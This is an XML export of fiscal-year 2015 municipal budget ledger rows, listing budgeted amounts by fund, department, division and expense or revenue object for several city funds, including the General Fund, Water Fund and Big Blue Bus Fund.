<row _id="16698"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3071.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3071.0</total></row>
<row _id="16699"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>520650.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>520650.0</total></row>
<row _id="16700"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1400.0</total></row>
<row _id="16701"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>187125.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>187125.0</total></row>
<row _id="16702"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>588.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>588.0</total></row>
<row _id="16703"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>447260.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>447260.0</total></row>
<row _id="16704"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6226.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6226.0</total></row>
<row _id="16705"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511747.0</object><object_description>CASH-IN-LIEU</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16706"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>381749.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>381749.0</total></row>
<row _id="16707"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>492677.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>492677.0</total></row>
<row _id="16708"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-21066.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-21066.0</total></row>
<row _id="16709"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511681.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16710"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>43653.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>43653.0</total></row>
<row _id="16711"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511491.0</object><object_description>OVERTIME CONTINGENCY</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>412000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>412000.0</total></row>
<row _id="16712"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402460.0</object><object_description>TENANT UTILITIES PAYMENT</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-153264.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-153264.0</total></row>
<row _id="16713"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>824.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>824.0</total></row>
<row _id="16714"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511250.0</object><object_description>STANDBY PAY</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16715"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>544910.0</object><object_description>TRANSIT STORE EXPENSES</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1817.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1817.0</total></row>
<row _id="16716"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>402090.0</object><object_description>SAMOHI FIELD FIELD RENTAL</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2015</fiscal_year><july>-38600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-38600.0</total></row>
<row _id="16717"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>21286.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>21286.0</total></row>
<row _id="16718"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>902.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>902.0</total></row>
<row _id="16719"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>555430.0</object><object_description>WASTE DISPOSAL (BRINING)</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>58324.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>58324.0</total></row>
<row _id="16720"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4200.0</total></row>
<row _id="16721"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="16722"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>566500.0</object><object_description>RECRUITMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>20500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20500.0</total></row>
<row _id="16723"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>11600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11600.0</total></row>
<row _id="16724"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>404560.0</object><object_description>UTILITY POLE LEASE FEE</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2015</fiscal_year><july>-3894.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3894.0</total></row>
<row _id="16725"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>402050.0</object><object_description>TRANSPORTATION IMPACT FEE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-2210870.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2210870.0</total></row>
<row _id="16726"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="16727"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>108031.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>108031.0</total></row>
<row _id="16728"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>544011.0</object><object_description>CHEMICALS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>69376.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>69376.0</total></row>
<row _id="16729"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>544016.0</object><object_description>ANALYTICAL INSTR CONSUMABLES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="16730"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>673</division_id><division_name>ARCADIA TREATMENT PLANT</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>124603.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>124603.0</total></row>
<row _id="16731"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>673</division_id><division_name>ARCADIA TREATMENT PLANT</division_name><object>544013.0</object><object_description>CARTRIDGE FILTER REPLACEMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>54965.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>54965.0</total></row>
<row _id="16732"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>402830.0</object><object_description>CITY YARDS CONV FUEL STN REPL</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-75000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-75000.0</total></row>
<row _id="16733"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>373733.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>373733.0</total></row>
<row _id="16734"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>112780.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>112780.0</total></row>
<row _id="16735"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>75298.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>75298.0</total></row>
<row _id="16736"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>13700.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13700.0</total></row>
<row _id="16737"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>673</division_id><division_name>ARCADIA TREATMENT PLANT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>816206.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>816206.0</total></row>
<row _id="16738"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>673</division_id><division_name>ARCADIA TREATMENT PLANT</division_name><object>544015.0</object><object_description>FIELD EQUIP &amp; TOOLS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16739"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522045.0</object><object_description>PAYOUTS FOR UNINSURED PL/PD</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16740"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560070.0</object><object_description>INDUSTRIAL SAFETY SHOES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>6300.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6300.0</total></row>
<row _id="16741"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>24720.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24720.0</total></row>
<row _id="16742"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561506.0</object><object_description>HOMELESS PREVENTION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16743"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>408450.0</object><object_description>TMD ASSESSMENT</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16744"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16745"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>402162.0</object><object_description>FILMING RECEIPTS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2015</fiscal_year><july>-40000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-40000.0</total></row>
